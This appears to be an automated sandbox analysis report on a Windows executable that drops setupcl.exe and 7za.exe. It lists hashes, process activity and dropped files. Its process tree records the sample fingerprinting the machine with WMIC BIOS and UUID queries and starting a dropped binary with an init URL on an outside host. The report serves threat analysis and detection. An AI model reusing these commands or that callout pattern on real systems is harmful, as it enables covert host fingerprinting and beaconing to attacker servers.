116352629bd45ec36f5e8fb3711e8a7a87a9d15873e02c2452cddf51caa0b22d

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
03-02-2024 02:15

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General

Target

87ba2651770b4731fbdadf9fb849fb0e.exe
Size

406KB
MD5

87ba2651770b4731fbdadf9fb849fb0e
SHA1

9b9d3fdf78b9ecea12d88d7ca857b3adf3d5569f
SHA256

116352629bd45ec36f5e8fb3711e8a7a87a9d15873e02c2452cddf51caa0b22d
SHA512

fc8532706ac95e126452b561b732a4dc83f7e1934c333e16d6dc88bb1ef912e1337eadb6a0b3a59498a72f221df46d6a010921a1b2e5faae67b54140c3c3c4b8
SSDEEP

12288:HA0i50GDrTtvUO3JCwYf3bXy3dYE4BWUqMDvQ:HAfyGpXDYf3bXyNHXUqMDvQ

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2600	7za.exe
1976	setupcl.exe

Loads dropped DLL 12 IoCs

pid	Process
1684	87ba2651770b4731fbdadf9fb849fb0e.exe
1684	87ba2651770b4731fbdadf9fb849fb0e.exe
1684	87ba2651770b4731fbdadf9fb849fb0e.exe
1684	87ba2651770b4731fbdadf9fb849fb0e.exe
1684	87ba2651770b4731fbdadf9fb849fb0e.exe
1684	87ba2651770b4731fbdadf9fb849fb0e.exe
1684	87ba2651770b4731fbdadf9fb849fb0e.exe
1684	87ba2651770b4731fbdadf9fb849fb0e.exe
3048	WerFault.exe
3048	WerFault.exe
3048	WerFault.exe
3048	WerFault.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3048	1976	WerFault.exe	39

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2844	WMIC.exe
Token: SeSecurityPrivilege	2844	WMIC.exe
Token: SeTakeOwnershipPrivilege	2844	WMIC.exe
Token: SeLoadDriverPrivilege	2844	WMIC.exe
Token: SeSystemProfilePrivilege	2844	WMIC.exe
Token: SeSystemtimePrivilege	2844	WMIC.exe
Token: SeProfSingleProcessPrivilege	2844	WMIC.exe
Token: SeIncBasePriorityPrivilege	2844	WMIC.exe
Token: SeCreatePagefilePrivilege	2844	WMIC.exe
Token: SeBackupPrivilege	2844	WMIC.exe
Token: SeRestorePrivilege	2844	WMIC.exe
Token: SeShutdownPrivilege	2844	WMIC.exe
Token: SeDebugPrivilege	2844	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2844	WMIC.exe
Token: SeRemoteShutdownPrivilege	2844	WMIC.exe
Token: SeUndockPrivilege	2844	WMIC.exe
Token: SeManageVolumePrivilege	2844	WMIC.exe
Token: 33	2844	WMIC.exe
Token: 34	2844	WMIC.exe
Token: 35	2844	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2844	WMIC.exe
Token: SeSecurityPrivilege	2844	WMIC.exe
Token: SeTakeOwnershipPrivilege	2844	WMIC.exe
Token: SeLoadDriverPrivilege	2844	WMIC.exe
Token: SeSystemProfilePrivilege	2844	WMIC.exe
Token: SeSystemtimePrivilege	2844	WMIC.exe
Token: SeProfSingleProcessPrivilege	2844	WMIC.exe
Token: SeIncBasePriorityPrivilege	2844	WMIC.exe
Token: SeCreatePagefilePrivilege	2844	WMIC.exe
Token: SeBackupPrivilege	2844	WMIC.exe
Token: SeRestorePrivilege	2844	WMIC.exe
Token: SeShutdownPrivilege	2844	WMIC.exe
Token: SeDebugPrivilege	2844	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2844	WMIC.exe
Token: SeRemoteShutdownPrivilege	2844	WMIC.exe
Token: SeUndockPrivilege	2844	WMIC.exe
Token: SeManageVolumePrivilege	2844	WMIC.exe
Token: 33	2844	WMIC.exe
Token: 34	2844	WMIC.exe
Token: 35	2844	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2784	WMIC.exe
Token: SeSecurityPrivilege	2784	WMIC.exe
Token: SeTakeOwnershipPrivilege	2784	WMIC.exe
Token: SeLoadDriverPrivilege	2784	WMIC.exe
Token: SeSystemProfilePrivilege	2784	WMIC.exe
Token: SeSystemtimePrivilege	2784	WMIC.exe
Token: SeProfSingleProcessPrivilege	2784	WMIC.exe
Token: SeIncBasePriorityPrivilege	2784	WMIC.exe
Token: SeCreatePagefilePrivilege	2784	WMIC.exe
Token: SeBackupPrivilege	2784	WMIC.exe
Token: SeRestorePrivilege	2784	WMIC.exe
Token: SeShutdownPrivilege	2784	WMIC.exe
Token: SeDebugPrivilege	2784	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2784	WMIC.exe
Token: SeRemoteShutdownPrivilege	2784	WMIC.exe
Token: SeUndockPrivilege	2784	WMIC.exe
Token: SeManageVolumePrivilege	2784	WMIC.exe
Token: 33	2784	WMIC.exe
Token: 34	2784	WMIC.exe
Token: 35	2784	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2784	WMIC.exe
Token: SeSecurityPrivilege	2784	WMIC.exe
Token: SeTakeOwnershipPrivilege	2784	WMIC.exe
Token: SeLoadDriverPrivilege	2784	WMIC.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1976	setupcl.exe
1976	setupcl.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 1684 wrote to memory of 2844	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	28
PID 1684 wrote to memory of 2844	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	28
PID 1684 wrote to memory of 2844	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	28
PID 1684 wrote to memory of 2844	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	28
PID 1684 wrote to memory of 2784	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	31
PID 1684 wrote to memory of 2784	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	31
PID 1684 wrote to memory of 2784	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	31
PID 1684 wrote to memory of 2784	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	31
PID 1684 wrote to memory of 2836	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	33
PID 1684 wrote to memory of 2836	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	33
PID 1684 wrote to memory of 2836	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	33
PID 1684 wrote to memory of 2836	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	33
PID 1684 wrote to memory of 3044	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	35
PID 1684 wrote to memory of 3044	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	35
PID 1684 wrote to memory of 3044	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	35
PID 1684 wrote to memory of 3044	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	35
PID 1684 wrote to memory of 2600	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	37
PID 1684 wrote to memory of 2600	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	37
PID 1684 wrote to memory of 2600	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	37
PID 1684 wrote to memory of 2600	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	37
PID 1684 wrote to memory of 1976	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	39
PID 1684 wrote to memory of 1976	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	39
PID 1684 wrote to memory of 1976	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	39
PID 1684 wrote to memory of 1976	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	39
PID 1684 wrote to memory of 1976	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	39
PID 1684 wrote to memory of 1976	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	39
PID 1684 wrote to memory of 1976	1684	87ba2651770b4731fbdadf9fb849fb0e.exe	39
PID 1976 wrote to memory of 2908	1976	setupcl.exe	41
PID 1976 wrote to memory of 2908	1976	setupcl.exe	41
PID 1976 wrote to memory of 2908	1976	setupcl.exe	41
PID 1976 wrote to memory of 2908	1976	setupcl.exe	41
PID 1976 wrote to memory of 3048	1976	setupcl.exe	42
PID 1976 wrote to memory of 3048	1976	setupcl.exe	42
PID 1976 wrote to memory of 3048	1976	setupcl.exe	42
PID 1976 wrote to memory of 3048	1976	setupcl.exe	42

C:\Users\Admin\AppData\Local\Temp\87ba2651770b4731fbdadf9fb849fb0e.exe
"C:\Users\Admin\AppData\Local\Temp\87ba2651770b4731fbdadf9fb849fb0e.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC csproduct Get UUID /FORMAT:textvaluelist.xsl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2844
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2784
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC bios Get Version /FORMAT:textvaluelist.xsl
  2⤵
  PID:2836
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC csproduct Get Name /FORMAT:textvaluelist.xsl
  2⤵
  PID:3044
- C:\Users\Admin\AppData\Local\Temp\nst1029.tmp\7za.exe
  7za.exe e -y -p"39aa22938b15dbfd0e20e3178d5c6f36" [RANDOM_STRING].7z
  2⤵
  - Executes dropped EXE
  PID:2600
- C:\Users\Admin\AppData\Local\Temp\nst1029.tmp\setupcl.exe
  "C:\Users\Admin\AppData\Local\Temp\nst1029.tmp\setupcl.exe" /initurl http://sub.zwickna.com/init/87ba2651770b4731fbdadf9fb849fb0e/:uid:? /affid "-" /id "0" /name " " /uniqid 87ba2651770b4731fbdadf9fb849fb0e /uuid 00000000-0000-0000-0000-000000000000 /biosserial /biosversion ROCKS - 1 /csname Standard PC (Q35 + ICH9, 2009)
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    wmic bios get serialnumber, version
    3⤵
    PID:2908
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1976 -s 372
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:3048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\nst1029.tmp\[RANDOM_STRING].7z

Filesize
80KB

MD5
1f123f1da285f98012768be787a5d1eb

SHA1
217c11e58e6d0b90b9a93bc165aee84707ac320a

SHA256
6c935ad3a5671cfc7b55435285909148f63ca93c27d71e78661ca589c782df3a

SHA512
ec9e0e428bc7d43bb77a32c792d60aeccee14aeeba25754dfa5f53e71755133b331aa9020a3d272abf9e6b95082047a63135000424e964c5f4f0932b27dc5f23

Download Submit
C:\Users\Admin\AppData\Local\Temp\nst1029.tmp\setupcl.exe

Filesize
193KB

MD5
10bd2af1b07ec6bc9cd17ba512569e59

SHA1
807e17ab1b98177e135d30941b45081960d1e866

SHA256
9c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c

SHA512
deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed

Download Submit
\Users\Admin\AppData\Local\Temp\nst1029.tmp\7za.exe

Filesize
574KB

MD5
42badc1d2f03a8b1e4875740d3d49336

SHA1
cee178da1fb05f99af7a3547093122893bd1eb46

SHA256
c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf

SHA512
6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c

Download Submit
\Users\Admin\AppData\Local\Temp\nst1029.tmp\nsExec.dll

Filesize
8KB

MD5
b8be6632a7dc8136ff01338be40fe701

SHA1
043fa16929b2af5ed5c1c59b4035a10cf765fb43

SHA256
289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

SHA512
403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

Download Submit
memory/1684-41-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/1976-42-0x0000000000240000-0x0000000000241000-memory.dmp

Filesize
4KB

Download
memory/1976-43-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/1976-44-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/1976-45-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/1976-50-0x0000000000240000-0x0000000000241000-memory.dmp

Filesize
4KB

Download
memory/1976-51-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download